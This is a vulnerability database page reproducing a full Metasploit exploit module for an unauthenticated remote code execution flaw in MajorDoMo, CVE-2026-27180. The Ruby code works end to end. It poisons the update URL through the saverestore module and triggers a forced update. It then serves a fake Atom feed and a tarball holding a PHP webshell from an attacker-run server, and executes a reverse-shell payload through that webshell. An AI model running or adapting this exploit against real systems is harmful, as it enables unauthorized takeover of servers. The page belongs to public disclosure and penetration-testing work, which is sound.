Lucene search
K

๐Ÿ“„ MajorDoMo Supply Chain Remote Code Execution

๐Ÿ—“๏ธย 02 Mar 2026ย 00:00:00Reported byย Valentin LobsteinTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 125ย Views

Exploits MajorDoMo saverestore RCE via update poisoning chaining unauthenticated GETs to deploy shell.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-27180
18 Feb 202621:10
โ€“attackerkb
GithubExploit
Exploit for CVE-2026-27180
19 Feb 202616:10
โ€“githubexploit
Circl
CVE-2026-27180
18 Feb 202621:30
โ€“circl
CNNVD
MajorDoMo ๅฎ‰ๅ…จๆผๆดž
18 Feb 202600:00
โ€“cnnvd
CVE
CVE-2026-27180
18 Feb 202621:10
โ€“cve
Cvelist
CVE-2026-27180 MajorDoMo Supply Chain Remote Code Execution via Update URL Poisoning
18 Feb 202621:10
โ€“cvelist
Metasploit
MajorDoMo Supply Chain RCE via Update Poisoning
2 Mar 202618:58
โ€“metasploit
NVD
CVE-2026-27180
18 Feb 202622:16
โ€“nvd
Positive Technologies
PT-2026-20516
18 Feb 202600:00
โ€“ptsecurity
RedhatCVE
CVE-2026-27180
20 Feb 202601:22
โ€“redhatcve
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rubygems/package'
    require 'zlib'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MajorDoMo Supply Chain RCE via Update Poisoning',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution vulnerability in
              MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's
              admin() method is reachable without authentication through the /objects/?module=saverestore
              endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST)
              instead of $this->mode for mode checks.
    
              Two unauthenticated GET requests chain together for full RCE:
              1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server
              2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the
              poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree()
    
              The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity
              check. The attacker serves a fake Atom feed with an entry older than the configured delay
              (default 1 day) and a tarball containing a PHP webshell. After deployment, the module
              executes the payload through the webshell.
    
              All versions of MajorDoMo up to and including the latest release are affected.
              The fix is tracked in PR sergejey/majordomo#1177.
            },
            'Author' => [
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-27180'],
              ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'],
              ['URL', 'https://github.com/sergejey/majordomo/pull/1177']
            ],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-02-18',
            'DefaultOptions' => {
              'RPORT' => 80
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']),
          OptInt.new('UPDATE_TIMEOUT', [true, 'Seconds to wait for MajorDoMo to fetch the update', 30])
        ])
    
        deregister_options('SRVURI')
      end
    
      def check
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => { 'module' => 'saverestore' }
        )
        return CheckCode::Unknown('Failed to connect to the target.') unless res
    
        unless res.body.to_s.include?('MajorDoMo') || res.code == 200
          return CheckCode::Safe('Target does not appear to be MajorDoMo')
        end
    
        marker = Rex::Text.rand_text_alphanumeric(8)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin.php'),
          'method' => 'GET',
          'vars_get' => {
            'ajax_panel' => '1',
            'op' => 'console',
            'command' => "echo '#{marker}';"
          }
        )
    
        if res&.body.to_s.include?(marker)
          return CheckCode::Vulnerable('Console eval is accessible without authentication (saverestore module also reachable)')
        end
    
        CheckCode::Detected('MajorDoMo detected but could not confirm unauthenticated access')
      end
    
      def build_atom_feed
        commit_id = Rex::Text.rand_text_hex(40)
        # Entry must be older than the configured delay (default 1 day)
        old_date = (Time.now.utc - (3 * 86400)).strftime('%Y-%m-%dT%H:%M:%SZ')
        <<~ATOM
          <?xml version="1.0" encoding="UTF-8"?>
          <feed xmlns="http://www.w3.org/2005/Atom">
            <title>MajorDoMo</title>
            <entry>
              <id>tag:github.com,2008:Grit::Commit/#{commit_id}</id>
              <updated>#{old_date}</updated>
              <title>Update</title>
            </entry>
          </feed>
        ATOM
      end
    
      def build_tarball(shell_name, php_code)
        tar_io = StringIO.new
        tar_io.set_encoding('ASCII-8BIT')
    
        Gem::Package::TarWriter.new(tar_io) do |tar|
          tar.mkdir('majordomo-master', 0o755)
          tar.add_file_simple("majordomo-master/#{shell_name}", 0o644, php_code.bytesize) do |io|
            io.write(php_code)
          end
        end
    
        gz_io = StringIO.new
        gz_io.set_encoding('ASCII-8BIT')
        gz = Zlib::GzipWriter.new(gz_io)
        gz.write(tar_io.string)
        gz.close
        gz_io.string
      end
    
      def poison_update_url(url)
        vprint_status("Poisoning update URL to: #{url}")
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => {
            'module' => 'saverestore',
            'mode' => 'auto_update_settings',
            'set_update_url' => url
          }
        )
      end
    
      def trigger_update
        vprint_status('Triggering force_update...')
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => {
            'module' => 'saverestore',
            'mode' => 'force_update'
          }
        )
      end
    
      def execute_webshell(shell_name)
        vprint_status("Executing payload via webshell: #{shell_name}")
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, shell_name),
          'method' => 'GET'
        )
      end
    
      def exploit
        shell_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
        php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        php_code = "<?php #{php_payload} ?>"
    
        atom_feed = build_atom_feed
        tarball = build_tarball(shell_name, php_code)
        feed_served = false
        tarball_served = false
    
        # Start HTTP server to serve the Atom feed and tarball
        # MajorDoMo transforms /archive/master.tar.gz to /commits/master.atom for the feed
        start_service({
          'Uri' => {
            'Proc' => proc do |cli, req|
              path = req.uri
              vprint_status("Received request: #{path}")
    
              if path.include?('.atom')
                print_status('Serving fake Atom feed...')
                send_response(cli, atom_feed, { 'Content-Type' => 'application/atom+xml' })
                feed_served = true
              elsif path.include?('.tar.gz')
                print_status("Serving malicious tarball (#{tarball.length} bytes)...")
                send_response(cli, tarball, { 'Content-Type' => 'application/gzip' })
                tarball_served = true
              else
                send_not_found(cli)
              end
            end,
            'Path' => '/'
          },
          'SSL' => false
        })
    
        srv_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/archive/master.tar.gz"
        poison_update_url(srv_url)
        trigger_update
    
        # Wait for MajorDoMo to fetch the feed and tarball
        timeout = datastore['UPDATE_TIMEOUT']
        print_status("Waiting up to #{timeout}s for MajorDoMo to fetch the update...")
        timeout.times do
          break if feed_served && tarball_served
    
          Rex.sleep(1)
        end
    
        unless feed_served && tarball_served
          fail_with(Failure::TimeoutExpired, 'MajorDoMo did not fetch the update in time. Ensure SRVHOST is reachable from the target.')
        end
    
        # Give MajorDoMo time to extract and deploy
        print_status('Update fetched, waiting for deployment...')
        Rex.sleep(3)
    
        register_file_for_cleanup(shell_name)
        execute_webshell(shell_name)
      end
    end

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 49.3
CVSS 3.19.8
EPSS0.48797
SSVC
125